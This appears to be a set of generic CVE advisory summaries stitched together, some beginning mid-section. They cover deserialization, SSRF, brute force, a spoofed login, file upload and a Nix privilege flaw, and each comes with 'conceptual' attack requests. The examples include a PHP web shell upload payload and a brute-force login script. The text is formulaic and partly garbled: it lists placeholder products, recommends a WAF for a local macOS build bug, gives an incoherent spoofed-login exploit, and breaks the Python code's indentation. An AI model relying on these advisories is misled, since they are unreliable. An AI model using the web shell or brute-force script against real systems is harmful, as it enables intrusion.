Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

Guru Team Site Chat on Telegram | All versions up to 1.0.4

How the Exploit Works

The vulnerability lies in the application’s handling of data deserialization. Specifically, the flaw allows an attacker to inject malicious serialized objects into the data stream being processed by the application. Once the application deserializes these objects, the malicious code contained within them can be executed, potentially compromising the system or leading to data leakage.

Conceptual Example Code

To demonstrate, consider this conceptual example of a JSON payload carrying the serialized malicious object. The attacker sends this payload to the application, which then deserializes the object and initiates the unintended actions:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "serialized_object": "rO0ABXNyABdqYXZhLnV0aWwuSGFzaFNldLpEhZ5+3gIAAHhyAB1qYXZhLnV0aWwuQWJzdHJhY3RTZXRk5B0hM+z4+AAAABwAAAHhwdwQAAAAeAAAAAnNyABBqYXZhLmxhbmcuUnVudGltZQAAAAAAAAABAgAAeHA=" }

Note that the actual malicious payload would be more complex and tailored to the specific target.

Mitigation

Users are advised to apply the patch provided by the vendor as soon as possible. If the patch cannot be applied immediately, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer temporary mitigation by identifying and blocking attempts to exploit this vulnerability.

Vulnerability Summary

CVE ID: CVE-2025-28961
Severity: Critical (9.8/10)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Md Yeasin Ul Haider URL Shortener | Up to and including 3.0.7

How the Exploit Works

The exploit works through the deserialization of untrusted data. This means that an attacker sends serialized (or structured) data that is untrusted, and the vulnerable system deserializes (or processes) it.
In the case of the URL Shortener, an attacker could potentially inject malicious objects into the serialized data, which the system then processes. Once the system processes this untrusted data, it can lead to harmful actions such as remote code execution or data leakage.

Conceptual Example Code

Below is a conceptual example of how this vulnerability could be exploited. This example demonstrates a hypothetical HTTP request that an attacker might use to inject malicious objects into the system.

POST /shorten HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "long_url": "{serialized_malicious_object}" }

In the above example, the attacker replaces the expected long_url value with a serialized malicious object. If the system is vulnerable, it would deserialize this untrusted data and potentially execute the malicious code or leak data.

Mitigation

The recommended mitigation is to apply the vendor patch as soon as it is available. In the interim, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help in mitigating the vulnerability by detecting and blocking potential attacks. Regularly monitoring system logs and network traffic can also provide early detection of any abnormal activities.

Overview

In the realm of cybersecurity, vulnerabilities present a constant source of concern. One such vulnerability, designated as CVE-2024-9408, is affecting Eclipse GlassFish, a widely used open-source software platform for building enterprise web applications. This particular vulnerability allows a Server Side Request Forgery (SSRF) attack, a type of exploit where an attacker can make requests to internal resources, potentially leading to system compromise or data leakage. The severity of this issue is underscored by the fact that it affects Eclipse GlassFish since version 6.2.5, a version heavily adopted across various industries.

Vulnerability Summary

CVE ID: CVE-2024-9408
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Eclipse GlassFish | Since version 6.2.5

How the Exploit Works

The exploit takes advantage of specific endpoints within Eclipse GlassFish, which improperly handle user input. The attacker sends a maliciously crafted request to the vulnerable endpoint, which is then processed by the server. As this request is treated as an internal one, it can potentially bypass security measures and reach sensitive internal resources. This could lead to unauthorized access, sensitive data exposure, or even system compromise if used in combination with other vulnerabilities.

Conceptual Example Code

Below is a conceptual example of how a Server Side Request Forgery vulnerability might be exploited in the context of this vulnerability:

GET /vulnerable/endpoint?target=http://internal-resource.example.com HTTP/1.1
Host: vulnerable.example.com

In the above example, the attacker sends a request to a vulnerable endpoint on the target server (`vulnerable.example.com`). The `target` parameter in the request is set to an internal resource (`internal-resource.example.com`), which the server will then attempt to fetch, potentially exposing sensitive data or resources.

Mitigation Guidance

To mitigate the risk of the CVE-2024-9408 vulnerability, the best course of action is to apply the vendor patch as soon as it becomes available. If immediate patching is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can act as temporary mitigation by blocking or alerting on suspicious requests. These systems can be configured to recognize and block SSRF attempts, preventing potential exploits until a permanent solution can be implemented.

Overview

Vulnerability Summary

CVE ID: CVE-2024-9342
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Eclipse GlassFish | 7.0.16 and earlier

How the Exploit Works

The exploit takes advantage of the lack of restrictions on the number of failed login attempts in the targeted product. This allows an attacker to undertake a Brute Force attack, continually trying different combinations of credentials until they eventually guess the correct ones. The absence of measures to prevent or limit such attempts gives the attacker an unlimited number of guesses, dramatically increasing the chances of a successful breach.

Conceptual Example Code

A crude, yet effective, conceptual exploit might take the form of a Python script using a library such as “requests” to iteratively send POST requests with different credential combinations. Below is a highly simplified example:

import requests
url = "http://target.example.com/login"
payload = {"username": "admin", "password": "password"}
for password in password_list:
payload['password'] = password
response = requests.post(url, data=payload)
if response.status_code == 200:
print(f"Successful login with password: {password}")
break

In this example, the `password_list` would contain a large number of possible passwords. The script sends a POST request to the login page with each password until it receives a successful login response.

Mitigation Guidance

To mitigate this vulnerability, companies are advised to apply the vendor patch as soon as it becomes available. In the interim, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can help prevent or at least detect such brute force attacks. More importantly, organizations should consider implementing account lockout or delay policies after a certain number of failed login attempts to minimize the risk of brute force attacks.

Privileges Required: None
User Interaction: None
Impact: Potential system compromise, data leakage

Affected Products

Product | Affected Versions

Product A | 1.0 to 2.5
Product B | 3.1 to 4.6

How the Exploit Works

The CVE-2025-52689 exploit works by an attacker spoofing a login request to an access point. The access point, erroneously believing that the request is legitimate, issues a valid session ID with administrator privileges. This allows the attacker to gain unauthorized access and potentially modify the behaviour of the access point, leading to a potential system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability may be exploited using a malicious HTTP request:

POST /login HTTP/1.1
Host: vulnerable.example.com
Content-Type: application/json
{
"username": "admin",
"password": "spoofed_password",
"session_id": "spoofed_session_id"
}

In this example, an attacker sends a POST request to the login endpoint of the target application. The request contains a spoofed username, password, and session ID. If the application is vulnerable, it will accept these credentials and grant the attacker administrator access.

Mitigation and Prevention

Organizations affected by CVE-2025-52689 should immediately apply the vendor-provided patch to their systems. If the patch is not yet available, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can help to mitigate the vulnerability on a temporary basis. These solutions can monitor and block suspicious requests, such as the spoofed login requests leveraged by this exploit. Regularly updating and patching systems, as well as implementing a robust cybersecurity framework, are key components in preventing such vulnerabilities.

Vulnerability Summary

CVE ID: CVE-2025-29009
Severity: Critical (CVSS Score: 10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage due to unrestricted upload of file with a dangerous type.

Affected Products

Product | Affected Versions

Webkul Medical Prescription Attachment Plugin for WooCommerce | up to 1.2.3

How the Exploit Works

The exploit takes advantage of an unsecured file upload mechanism in the plugin. An attacker can manipulate the file upload feature to upload a malicious script (web shell) instead of a legitimate file. Once uploaded, the web shell can be executed, providing the attacker with unauthorized access to the web server. This access can then be used to manipulate data, inject malicious code, compromise the system, or exfiltrate sensitive data.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is an example of a malicious HTTP multipart/form-data POST request to upload a web shell:

POST /upload_attachment HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="attachment"; filename="evil_shell.php"
Content-Type: application/x-php
<?php
system($_GET['cmd']);
?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In this example, an attacker uploads a PHP web shell named “evil_shell.php” which, when executed, allows the attacker to run any system command via the “cmd” GET parameter.

Mitigation

To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it’s available. In the meantime, usage of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. It’s also advisable to restrict file uploads to only trusted users and to validate and sanitize all uploaded files.

Vulnerability Summary

CVE ID: CVE-2025-53819
Severity: High (CVSS Score 7.9)
Attack Vector: Local
Privileges Required: None
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Nix Package Manager | 2.30.0

How the Exploit Works

This vulnerability arises from the incorrect assignment of user privileges during the build process in Nix 2.30.0 on macOS. Instead of assigning the builds to the user who initiated them, they are executed with root privileges. This means that a malicious user or script could potentially initiate a build that includes harmful or exploitative actions, which the system would then execute with root privileges, leading to potential system compromise or data leakage.

Conceptual Example Code

An exploitation of this vulnerability might look like this:

# User initiates a build with a malicious script
nix-build --expr '(import <nixpkgs> {}).runCommand "bad" {} "echo \"malicious code\" > /root/malicious.txt"'

In this example, the build includes a script that writes “malicious code” to a file in the root directory. Because the build is executed with root privileges, this action is allowed, even if the user does not have root access.

Mitigation Guidance

The vendor, Nix, has released a patch in the form of an updated version (2.30.1) that corrects this vulnerability. Users are strongly advised to apply this patch as soon as possible. If the patch cannot be applied immediately, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, these solutions should be considered stopgap measures, and the update should be applied as soon as it is feasible.
